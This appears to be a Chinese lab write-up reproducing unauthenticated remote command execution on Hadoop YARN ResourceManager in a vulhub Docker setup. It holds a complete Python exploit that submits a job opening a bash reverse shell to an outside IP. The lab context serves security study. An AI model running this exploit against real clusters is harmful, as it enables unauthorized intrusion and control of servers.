Hadoop YARN ResourceManager 未授权访问复现

环境

https://vulhub.org/#/environments/hadoop/unauthorized-yarn/

[root@localhost unauthorized-yarn]# pwd
/root/zzqsmile/vulhub/hadoop/unauthorized-yarn
[root@localhost unauthorized-yarn]# docker-compose up -d
Hadoop YARN ResourceManager 未授权访问复现_第1张图片
图片.png
exp
#!/usr/bin/env python

import requests

target = 'http://10.12.10.201:8088/'
lhost = '107.182.30.95' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)
复现
  • 监听
Hadoop YARN ResourceManager 未授权访问复现_第2张图片
图片.png
  • exp运行
图片.png
  • 成功getshell
Hadoop YARN ResourceManager 未授权访问复现_第3张图片
图片.png
环境移除
[root@localhost unauthorized-yarn]# docker-compose down

你可能感兴趣的:(Hadoop YARN ResourceManager 未授权访问复现)